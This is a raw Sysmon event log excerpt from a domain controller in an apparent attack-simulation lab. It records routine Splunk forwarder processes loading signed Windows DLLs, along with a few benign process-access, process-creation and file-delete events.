15:11:18.409{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000058066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.409{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000058065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.409{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000058064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.409{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\fltLib.dll10.0.14393.0 (rs1_release.160715-1616)Filter LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationfilterLib.dllMD5=051ABD8360BDA63A1BC77C662FBF0A25,SHA256=C914E2DBAEC2C9A11923A984B30A979637D3A27B3C29E93F4C90FB1D9FBC518F,IMPHASH=74D3C2DA8B6F9861866B866AE40683D3trueMicrosoft WindowsValid 734700x800000000000000058063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.409{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000058062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.409{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000058061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.409{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000058060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.409{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000058059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.409{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.409{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exeMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8trueSplunk, Inc.Valid 10341000x800000000000000058057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.409{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.409{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.409{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.409{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.409{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000058052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.409{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000058051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.410{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000058050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.315{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=766676FF43F2A9850598D0436CA6875F,SHA256=5188B15FE3C4AA2EF5DA8ED27605F167173F96FFE4BD6C9F941FD1973A91E001,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000058049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.315{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=0226D5A366EE12044E0989A9011F2B0A,SHA256=DCE571981167FB06DC54AB83C0EBFBE593DCC6D62CC21D758CD953B41DC1854C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000058204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.972{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000058203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.972{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000058202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.972{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000058201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.972{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000058200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.972{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000058199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.972{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000058198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.972{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000058197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.972{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000058196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.972{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000058195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000058194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000058193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000058192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000058191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000058189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000058188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000058187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000058186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000058185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000058184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000058183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.956{7BD73061-7597-613B-C20B-00000000F001}4916C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft 